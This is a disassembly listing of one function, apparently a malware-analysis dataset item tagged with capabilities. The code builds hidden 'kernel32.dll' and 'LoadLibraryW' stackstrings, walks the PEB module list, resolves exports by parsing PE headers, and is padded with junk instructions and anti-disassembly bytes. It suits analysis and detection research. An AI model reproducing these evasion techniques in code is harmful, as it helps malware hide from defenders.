Function at 0x471fc1
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
mov eax, 0x6b
mov word [ebp - 0x16c0], ax
mov ecx, 0x65
mov word [ebp - 0x16be], cx
mov edx, 0x72
mov word [ebp - 0x16bc], dx
mov eax, 0x6e
mov word [ebp - 0x16ba], ax
mov ecx, 0x65
mov word [ebp - 0x16b8], cx
mov edx, 0x6c
mov word [ebp - 0x16b6], dx
mov eax, 0x33
mov word [ebp - 0x16b4], ax
mov ecx, 0x32
mov word [ebp - 0x16b2], cx
mov edx, 0x2e
mov word [ebp - 0x16b0], dx
mov eax, 0x64
mov word [ebp - 0x16ae], ax
mov ecx, 0x6c
mov word [ebp - 0x16ac], cx
mov edx, 0x6c
mov word [ebp - 0x16aa], dx
xor eax, eax
mov word [ebp - 0x16a8], ax
push ecx
sub ecx, 0xa672
and ecx, 0x16b2a
sub ecx, 0x14683
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xf878
xor ecx, 0x3c7e
xor ecx, 0xa7c7
or ecx, 0x7563
pop ecx
push edx
push ebx
add esp, 4
or edx, 0x18e1
xor edx, 0x9b8b
sub edx, 0x12cc7
xor edx, 0x7de5
pop edx
push edi
add edi, 0x4e1c
sub edi, 0x8436
add edi, 0x1298b
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1b4c], ecx
mov edx, dword [ebp - 0x1b4c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1d1c], eax
mov ecx, dword [ebp - 0x1d1c]
mov dword [ebp - 0x15f0], ecx
push ecx
push ecx
add esp, 4
xor ecx, 0x17169
jmp 0x471d08
pop ecx
push ebx
push ecx
add esp, 4
add ebx, 0x133b
and ebx, 0x82aa
and ebx, 0xe0ab
xor ebx, 0x16740
pop ebx
cmp dword [ebp - 0x15f0], 0
jne 0x471d3f
mov dword [ebp - 0x2bc], 0
jmp 0x471ffb
mov edx, dword [ebp - 0x15f0]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push edi
or edi, 0xf614
sub edi, 0x4b7d
and edi, 0x16232
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0x10739
add ebx, 0x15743
xor ebx, 0x9747
xor ebx, 0x4faf
pop ebx
cmp dword [ebp - 0xcd4], 0
jne 0x471d9b
mov dword [ebp - 0x2bc], 0
jmp 0x471ffb
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x4fc], edx
push ebx
sub ebx, 0x11877
add ebx, 0xed73
add ebx, 0xdea
sub ebx, 0x65c7
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0x2ad0
or ebx, 0xf432
or ebx, 0xcefd
pop ebx
lea eax, [ebp - 0x16c0]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x4fc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x1c0], ax
xor ecx, ecx
mov word [ebp - 0x10c], cx
push esi
push esi
add esp, 4
sub esi, 0x12230
pop esi
push esi
call 0x471e1f
add byte [0x48414732], bh
aas
add esp, 4
add esi, 0x12f3a
jmp 0x471e31
or esi, 0x61fd
pop esi
mov edx, dword [ebp - 0xccc]
mov ax, word [edx]
mov word [ebp - 0x109a], ax
mov ecx, dword [ebp - 0xccc]
add ecx, 2
mov dword [ebp - 0xccc], ecx
mov dx, word [ebp - 0x109a]
mov word [ebp - 0x1c0], dx
mov eax, dword [ebp - 0xcd0]
mov cx, word [eax]
mov word [ebp - 0x109c], cx
mov edx, dword [ebp - 0xcd0]
add edx, 2
mov dword [ebp - 0xcd0], edx
mov ax, word [ebp - 0x109c]
mov word [ebp - 0x10c], ax
push edi
push eax
add esp, 4
and edi, 0x9764
xor edi, 0xc90e
pop edi
push eax
push eax
add esp, 4
or eax, 0x1083b
xor eax, 0x145da
or eax, 0xc8c5
pop eax
push edi
sub edi, 0x161ce
pop edi
movzx ecx, word [ebp - 0x10c]
test ecx, ecx
jne 0x471ee7
movzx edx, word [ebp - 0x1c0]
movzx eax, word [ebp - 0x10c]
sub edx, eax
mov dword [ebp - 0x15fc], edx
jmp 0x471f4a
movzx ecx, word [ebp - 0x1c0]
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x471e06
movzx eax, word [ebp - 0x1c0]
xor eax, 0x20
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
je 0x471e06
movzx edx, word [ebp - 0x1c0]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
jge 0x471f34
mov dword [ebp - 0x15f4], 0xffffffff
jmp 0x471f3e
mov dword [ebp - 0x15f4], 1
mov ecx, dword [ebp - 0x15f4]
mov dword [ebp - 0x15fc], ecx
cmp dword [ebp - 0x15fc], 0
jne 0x471f93
push esi
or esi, 0x16503
and esi, 0xdc29
or esi, 0xfdc4
pop esi
push ecx
push edi
add esp, 4
sub ecx, 0x179ee
add ecx, 0xa2df
pop ecx
push eax
push ebx
add esp, 4
or eax, 0xdb9
pop eax
mov edx, dword [ebp - 0x4fc]
mov dword [ebp - 0x2bc], edx
jmp 0x471ffb
push edi
and edi, 0x17c57
jmp 0x471f9f
pop edi
push ecx
or ecx, 0xd2
or ecx, 0x1e9c
sub ecx, 0x15008
call 0x471fc1
add byte [esi], dh
dec ebx
inc edi
dec esp
aaa
inc ebp
inc edi
add esp, 4
pop ecx
mov eax, dword [ebp - 0x4fc]
mov ecx, dword [eax]
mov dword [ebp - 0x4fc], ecx
mov edx, dword [ebp - 0x4fc]
cmp edx, dword [ebp - 0xcd4]
je 0x471ff1
mov eax, dword [ebp - 0x4fc]
cmp dword [eax + 0x30], 0
jne 0x471da7
mov dword [ebp - 0x2bc], 0
push esi
push ebx
add esp, 4
xor esi, 0x29cf
pop esi
push edx
push esi
add esp, 4
or edx, 0x10f
add edx, 0x8754
or edx, 0x7713
pop edx
push ebx
add ebx, 0x3d8a
sub ebx, 0x12df5
pop ebx
cmp dword [ebp - 0x2bc], 0
jne 0x472932
mov ecx, 0x6b
mov word [ebp - 0x172c], cx
mov edx, 0x65
mov word [ebp - 0x172a], dx
mov eax, 0x72
mov word [ebp - 0x1728], ax
mov ecx, 0x6e
mov word [ebp - 0x1726], cx
mov edx, 0x65
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
mov ecx, 0x33
mov word [ebp - 0x1720], cx
mov edx, 0x32
mov word [ebp - 0x171e], dx
mov eax, 0x2e
mov word [ebp - 0x171c], ax
mov ecx, 0x64
mov word [ebp - 0x171a], cx
mov edx, 0x6c
mov word [ebp - 0x1718], dx
mov eax, 0x6c
mov word [ebp - 0x1716], ax
xor ecx, ecx
mov word [ebp - 0x1714], cx
push edx
push edx
add esp, 4
jmp 0x4720de
add edx, 0x10ad2
pop edx
push esi
push edx
add esp, 4
and esi, 0x2135
jmp 0x4720f8
xor esi, 0x11743
add esi, 0x78d6
pop esi
mov byte [ebp - 0x8b4], 0x4c
mov byte [ebp - 0x8b3], 0x6f
mov byte [ebp - 0x8b2], 0x61
mov byte [ebp - 0x8b1], 0x64
mov byte [ebp - 0x8b0], 0x4c
mov byte [ebp - 0x8af], 0x69
mov byte [ebp - 0x8ae], 0x62
mov byte [ebp - 0x8ad], 0x72
mov byte [ebp - 0x8ac], 0x61
mov byte [ebp - 0x8ab], 0x72
mov byte [ebp - 0x8aa], 0x79
mov byte [ebp - 0x8a9], 0x57
mov byte [ebp - 0x8a8], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1d20], edx
mov eax, dword [ebp - 0x1d20]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1d24], ecx
mov edx, dword [ebp - 0x1d24]
mov dword [ebp - 0x1600], edx
push edx
push edi
add esp, 4
or edx, 0xc0a1
pop edx
push eax
push edx
add esp, 4
jmp 0x47219f
xor eax, 0x3cd5
pop eax
push ecx
push edx
add esp, 4
jmp 0x4721b3
xor ecx, 0xb749
pop ecx
cmp dword [ebp - 0x1600], 0
jne 0x4721d2
mov dword [ebp - 0x780], 0
jmp 0x472479
mov eax, dword [ebp - 0x1600]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xce0], edx
push edx
xor edx, 0x88f8
pop edx
push eax
push edx
add esp, 4
or eax, 0x62af
sub eax, 0xa55f
pop eax
push edx
push ecx
add esp, 4
xor edx, 0xdf1a
and edx, 0x1396
xor edx, 0xe090
pop edx
cmp dword [ebp - 0xce0], 0
jne 0x47222e
mov dword [ebp - 0x780], 0
jmp 0x472479
mov eax, dword [ebp - 0xce0]
mov dword [ebp - 0x500], eax
push esi
push ecx
add esp, 4
or esi, 0x9c59
or esi, 0x7abc
call 0x47225a
add byte [0x4f373a38], bh
inc esi
xor eax, 0xc483334a
add al, 0x81
invalid
push ecx
push edi
add esp, 4
jmp 0x472483
and ecx, 0x2258
jmp 0x472490
or ecx, 0x200b
pop ecx
push edi
call 0x4724a7
add byte [edi + 0x4f], cl
cmp eax, 0x3f333845
inc ebp
xor al, 0x83
les eax, [edi + ebx*2]
cmp dword [ebp - 0x780], 0
jne 0x4724f5
push ebx
push edi
add esp, 4
jmp 0x4724c0
pop ebx
push eax
push esi
add esp, 4
jmp 0x4724ce
pop eax
push ebx
jmp 0x4724d9
or ebx, 0x159a3
and ebx, 0x140ce
pop ebx
mov dword [ebp - 0x7cc], 0
jmp 0x47301d
push eax
push edi
add esp, 4
and eax, 0x1535e
add eax, 0xdbad
add eax, 0x5bbc
add eax, 0xf7b6
add byte [eax], al
pop eax
push eax
and eax, 0x1275
or eax, 0x100f1
sub eax, 0xf3b5
pop eax
mov edx, dword [ebp - 0x780]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x790], 0
mov ecx, dword [ebp - 0x358]
mov dword [ebp - 0x160c], ecx
cmp dword [ebp - 0x160c], 0
jne 0x472566
mov edx, dword [ebp - 0x790]
mov dword [ebp - 0x3d4], edx
jmp 0x472857
mov eax, dword [ebp - 0x160c]
mov ecx, dword [ebp - 0x358]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1610], ecx
jne 0x47258e
mov edx, dword [ebp - 0x790]
mov dword [ebp - 0x3d4], edx
jmp 0x472857
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1610]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x1614], eax
cmp dword [ebp - 0x1614], 0
jne 0x4725c0
mov ecx, dword [ebp - 0x790]
mov dword [ebp - 0x3d4], ecx
jmp 0x472857
mov edx, dword [ebp - 0x358]
add edx, dword [ebp - 0x1614]
mov dword [ebp - 0x784], edx
jne 0x4725e5
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0x3d4], eax
jmp 0x472857
mov ecx, dword [ebp - 0x784]
mov edx, dword [ebp - 0x358]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1d28], edx
mov eax, dword [ebp - 0x784]
mov ecx, dword [ebp - 0x358]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1d2c], ecx
mov edx, dword [ebp - 0x784]
mov eax, dword [ebp - 0x358]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1d30], eax
mov dword [ebp - 0x788], 0
jmp 0x47263f